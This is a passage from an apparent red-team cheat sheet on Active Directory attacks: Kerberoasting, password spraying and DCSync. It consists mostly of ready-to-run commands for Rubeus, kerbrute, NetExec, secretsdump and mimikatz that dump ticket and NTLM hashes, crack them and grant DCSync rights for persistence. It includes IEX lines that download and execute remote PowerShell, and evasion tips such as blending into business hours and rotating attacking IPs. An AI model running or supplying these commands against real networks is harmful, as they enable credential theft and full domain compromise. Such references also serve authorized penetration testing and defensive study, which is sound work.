.\Rubeus.exe kerberoast /domain:corp.local /dc:dc01.corp.local /outfile:hashes.txt

# Use alternate credentials
.\Rubeus.exe kerberoast /creduser:corp.local\jsmith /credpassword:Welcome123! /outfile:hashes.txt

# Request without wrapping (single line per hash)
.\Rubeus.exe kerberoast /format:hashcat /nowrap /outfile:hashes.txt

# Kerberoast specific SPN
.\Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.corp.local:1433 /format:hashcat

# === TARGETED KERBEROASTING ===

# Kerberoast users in specific group
Get-DomainUser -SPN | ?{$_.memberof -match "IT Admins"}

# Kerberoast users with adminCount=1
Get-DomainUser -SPN -AdminCount | Select-Object samaccountname,serviceprincipalname

# Kerberoast users with old passwords
Get-DomainUser -SPN | Where-Object {$_.pwdlastset -lt (Get-Date).AddYears(-1)}

# === INVOKE-KERBEROAST (POWERVIEW) ===

# Basic Kerberoast
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -FilePath kerberoast_hashes.txt

# Specific user
Invoke-Kerberoast -Identity svcaccount -OutputFormat Hashcat

# All users
Invoke-Kerberoast -Domain corp.local -OutputFormat Hashcat

# === CRACKING KERBEROAST HASHES ===

# Hashcat TGS-REP (mode 13100 for RC4, 19600/19700 for AES)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force

# Hashcat with rules
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

# Hashcat with mask attack
hashcat -m 13100 kerberoast_hashes.txt -a 3 ?u?l?l?l?l?l?l?l?d?d?d?d --force

# AES256 hashes (if AES tickets were requested)
hashcat -m 19700 kerberoast_aes256_hashes.txt /usr/share/wordlists/rockyou.txt --force

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Show cracked passwords
hashcat -m 13100 kerberoast_hashes.txt --show
john --show kerberoast_hashes.txt

# === ROASTING OPSEC ===
# Request tickets during business hours (blend in)
# Limit number of requests (avoid detection)
# Consider requesting only specific high-value accounts
# AES tickets are harder to crack but generate same logs

# Monitor for event IDs:
# 4769 - Kerberos service ticket was requested
# 4770 - Kerberos service ticket was renewed

Password Spraying
#

# === CONCEPT ===
# Try single password against many accounts
# Avoid account lockout by respecting lockout policy
# Common during initial access

# === CHECK LOCKOUT POLICY ===

# Windows
net accounts /domain
Get-ADDefaultDomainPasswordPolicy

# Linux
nxc smb DC_IP -u jsmith -p 'Welcome123!' --pass-pol
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=domainDNS)" lockoutThreshold pwdProperties

# Check specific user's bad password count
net user jsmith /domain | findstr "Bad"
Get-ADUser jsmith -Properties badpwdcount | Select-Object badpwdcount

# === BUILDING USER LIST ===

# Extract from LDAP
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName | awk '{print $2}' > users.txt

# PowerView
Get-DomainUser | Select-Object -ExpandProperty samaccountname > users.txt

# From email format (common pattern)
# firstname.lastname@company.com -> firstname.lastname
cat emails.txt | cut -d '@' -f1 > users.txt

# RID cycling
lookupsid.py corp.local/jsmith:Welcome123!@DC_IP | grep SidTypeUser | awk '{print $2}' > users.txt

# NetExec
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --users | grep -oP '(?<=\\).*(?= )' > users.txt

# === KERBRUTE PASSWORD SPRAYING ===

# Basic password spray
kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Welcome2024!'

# Multiple passwords (delay between attempts)
for pass in 'Welcome2024!' 'Spring2024!' 'Summer2024!'; do
    echo "[*] Testing: $pass"
    kerbrute passwordspray -d corp.local --dc DC_IP users.txt "$pass"
    echo "[*] Sleeping 30 minutes to avoid lockout"
    sleep 1800
done

# Verbose output
kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Welcome2024!' -v

# Save valid credentials
kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Welcome2024!' -o valid_creds.txt

# === NETEXEC PASSWORD SPRAYING ===

# SMB password spray
nxc smb DC_IP -u users.txt -p 'Welcome2024!' --continue-on-success

# Multiple passwords (one at a time)
nxc smb DC_IP -u users.txt -p passwords.txt --no-bruteforce --continue-on-success

# LDAP password spray (less noisy than SMB)
nxc ldap DC_IP -u users.txt -p 'Welcome2024!' --continue-on-success

# WinRM password spray
nxc winrm 10.10.10.0/24 -u users.txt -p 'Welcome2024!' --continue-on-success

# With domain specification
nxc smb DC_IP -u users.txt -p 'Welcome2024!' -d corp.local --continue-on-success

# === SPRAYKATZ ===

# Password spray with automatic lockout threshold detection
python3 spraykatz.py -u users.txt -p 'Welcome2024!' -t DC_IP

# === DOMAINPASSWORDSPRAY (POWERSHELL) ===

# Import module
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1')

# Automatic user enumeration and spray
Invoke-DomainPasswordSpray -Password 'Welcome2024!'

# Custom user list
Invoke-DomainPasswordSpray -UserList users.txt -Password 'Welcome2024!'

# Multiple passwords with delay
Invoke-DomainPasswordSpray -UserList users.txt -PasswordList passwords.txt -Delay 30 -Jitter 5

# Check for accounts about to lock out
Invoke-DomainPasswordSpray -Password 'Welcome2024!' -CheckAccountsNearLockout

# === INVOKE-PASSWORDSPRAY (MAILSNIPER) ===

# Spray against OWA/O365
Invoke-PasswordSpray -ExchangeVersion 2016 -Pass 'Welcome2024!' -UserList users.txt -Threads 15 -OutFile valid_creds.txt

# === COMMON PASSWORD PATTERNS ===

# Seasonal passwords
# Winter2024!, Spring2024!, Summer2024!, Fall2024!

# Company name + season/year
# Acme2024!, AcmeWinter24!

# Welcome/Password + complexity
# Welcome123!, Password1!, Welcome2024!

# Month + year
# January2024!, Feb2024!

# Generate password list based on company info
echo "Acme2024!" >> passwords.txt
echo "Acme@2024" >> passwords.txt
echo "Welcome2024!" >> passwords.txt

# === OPSEC CONSIDERATIONS ===

# Calculate safe spray interval
# Example: Lockout threshold = 5, Lockout duration = 30 min
# Safe interval: 30 minutes between attempts per user

# Monitor for lockouts during spray
# Event ID 4740 - Account was locked out
# Adjust strategy if lockouts detected

# Spray during business hours (blends with normal authentication)
# Avoid spraying same account multiple times quickly

# Use different source IPs if possible
# Rotate through multiple attacking hosts

# === VALIDATION AND EXPLOITATION ===

# Validate credentials
nxc smb DC_IP -u validuser -p 'ValidPass123!'

# Check if user has admin rights
nxc smb 10.10.10.0/24 -u validuser -p 'ValidPass123!' --local-auth
nxc smb 10.10.10.0/24 -u validuser -p 'ValidPass123!' --shares

# Request TGT
getTGT.py corp.local/validuser:'ValidPass123!'
.\Rubeus.exe asktgt /user:validuser /password:ValidPass123! /ptt

# === POST-SPRAY ENUMERATION ===

# Enumerate accessible shares
nxc smb 10.10.10.0/24 -u validuser -p 'ValidPass123!' --shares

# Check WinRM access
nxc winrm 10.10.10.0/24 -u validuser -p 'ValidPass123!'

# Enumerate with valid credentials
bloodhound-python -u validuser -p 'ValidPass123!' -d corp.local -ns DC_IP -c All

DCSync Attack
#

# === CONCEPT ===
# Impersonate Domain Controller to request password data
# Requires specific AD permissions:
#   - DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
#   - DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
# Usually granted to Domain Admins, Enterprise Admins, Domain Controllers

# === CHECK DCSYNC RIGHTS ===

# PowerView - Check if user has DCSync rights
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs | Where-Object {($_.ObjectAceType -match 'replication') -and ($_.ActiveDirectoryRights -match 'GenericAll')}

# PowerView - Check specific user
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).objectsid}

# BloodHound Cypher
MATCH (u:User)-[:DCSync]->(d:Domain) RETURN u

# Check current user's permissions
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value)}

# === IMPACKET SECRETSDUMP (DCSYNC) ===

# Dump all domain hashes
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP

# Dump specific user
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-user krbtgt
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-user Administrator

# With NTLM hash (Pass-the-Hash)
secretsdump.py -hashes :NTLM_HASH corp.local/Administrator@DC_IP

# With Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass corp.local/Administrator@DC_IP

# Dump NTDS.dit (all users)
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-ntlm

# Output to file
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-ntlm -outputfile dcsync_hashes

# Dump user history (previous passwords)
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -history

# Dump computer accounts
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-ntlm -computer

# === NETEXEC DCSYNC ===

# Dump all hashes
nxc smb DC_IP -u Administrator -p 'Welcome123!' --ntds

# Dump to file
nxc smb DC_IP -u Administrator -p 'Welcome123!' --ntds --ntds-pwdLastSet --ntds-history

# With NTLM hash
nxc smb DC_IP -u Administrator -H NTLM_HASH --ntds

# Dump specific user
nxc smb DC_IP -u Administrator -p 'Welcome123!' --ntds --user krbtgt

# === MIMIKATZ DCSYNC ===

# Dump specific user
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
.\mimikatz.exe "lsadump::dcsync /user:corp\Administrator" "exit"

# Dump all users
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit"

# Specify domain controller
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt /dc:dc01.corp.local" "exit"

# From PowerShell
.\mimikatz.exe privilege::debug "lsadump::dcsync /user:corp\Administrator" exit

# === INVOKE-MIMIKATZ (POWERSHELL) ===

# Load in memory
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')

# DCSync krbtgt
Invoke-Mimikatz -Command '"lsadump::dcsync /user:corp\krbtgt"'

# DCSync all domain hashes
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /all /csv"'

# === GRANTING DCSYNC RIGHTS (PERSISTENCE) ===

# PowerView - Grant DCSync rights to user
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights DCSync

# Verify rights were granted
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).objectsid}

# === DETECTING DCSYNC ===

# Monitor for Event ID 4662 (AD object access)
# Source: Domain Controller
# Object Type: {19195a5b-6da0-11d0-afd3-00c04fd930c9} (Domain)
# Access: Replicating Directory Changes

# Monitor for unusual DRS (Directory Replication Service) activity
# Network traffic: TCP 135, 445 (RPC/SMB)

# === EXPLOITATION NOTES ===

# After DCSync, you have:
# - All user NTLM hashes (pass-the-hash)
# - krbtgt hash (golden ticket)
# - Computer account hashes
# - Service account hashes (Kerberoasting targets)

# Extract specific hashes from output
cat dcsync_hashes.ntds | grep Administrator
cat dcsync_hashes.ntds | grep krbtgt

# Format for hashcat/john
cat dcsync_hashes.ntds | cut -d ':' -f4 > ntlm_hashes.txt

# === MITIGATION DETECTION ===

# DCSync generates specific events:
# 4662 - Directory Service Access (with replication properties)
# 4624 - Account Logon (from attacker machine)
# 5136 - Directory Service Object Modified (if granting rights)